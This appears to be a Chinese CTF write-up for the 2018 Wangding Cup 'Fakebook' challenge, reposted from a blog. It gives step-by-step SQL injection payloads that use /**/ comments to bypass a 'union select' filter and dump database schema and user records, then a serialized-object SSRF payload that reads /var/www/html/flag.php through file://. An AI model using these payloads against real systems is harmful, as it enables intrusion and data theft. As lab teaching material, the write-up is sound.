[网鼎杯 2018]Fakebook 1
[网鼎杯 2018]Fakebook 1
打开实例发现为博客列表,有登录跳转和类似注册或者添加博客的join跳转

查看源码无果
打开登陆页,尝试万能密码

没有用,尝试从join入手,用admin去随便join一个

显示博客不存在
期间尝试多种sql注入方法均没有效果,转去其他方向
尝试dirsearch目录爆破,发现了几个有用的小玩意儿



注意到robots.txt和flag.php等目录
访问robots.txt发现/user.php.bak备份文件路径

打开bak文件,发现php代码

注意到get方法里面存在curl_exec(),可能这道题为ssrf漏洞利用

同时注意到isValidBlog()方法的正则匹配,判断出传入的blog参数值必须为url形式

验证,join页面添加成功

列表出现刚刚添加的输出,点击蓝字进去,发现no参数


回显起刚刚扫到的db.php路径,尝试sql注入
由于注意到bak文件中,age被强转为int,所以这边采用数字型注入方法

and拼接

报错,但是显示出了view.php的路径,由此可以判断flag.php的路径为
/var/www/html/flag.php
?no=1 and 1=1回显正常,判断存在sql注入

order by判断字段数
?no=1 order by 5

可以看到,当order by 5时候报错,所以字段数为4
union联合查询
?no=1 union select 1,2,3,database()

显示no hack_,判断存在字段过滤



可以看到,union和select均没有被过滤,但是两个加在一起就被过滤,由此可以判断union select被过滤,这边采用/**/注释绕过
?no=-1 union/**/select 1,2,3,4

成功绕过,看到username回显正常,判断username为回显位置,为2
查询当前数据库
?no=-1 union/**/select 1,database(),3,4

库名为fakebook
爆库
?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata

数据库
fakebook,information_schema,mysql,performance_schema,test
看来fakebook就是我们要的库,爆表
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

获得users
爆字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"

获得字段
no,username,passwd,data
查数据
?no=-1 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users

注意到data字段里面的数据为刚刚我们join的数据的序列化形式

好玩的来了,注意到源代码这边使用的是iframe

前面分析可知flag.php的路径,ssrf访问文件可以用伪协议file://,把序列化字符串作为参数输入
测试,将blog值改为百度的网址
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:22:"https://www.baidu.com/";}'

检查元素,发现百度在iframe内用base64的形式被加载了出来

验证成功:
这边由于原本的https://www.baodu.com/是22,所以构造payload时这边改成file:///var/www/html/flag.php要更改长度为29

构造payload
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
显示正常

查看源代码,发现base64编码字符串

解码获得flag

flag{8d399df2-335e-4fb8-9c18-f5be2ecfea00}
本文来自博客园,作者:TazmiDev,转载请注明原文链接:https://www.cnblogs.com/tazmi/p/18549230

浙公网安备 33010602011771号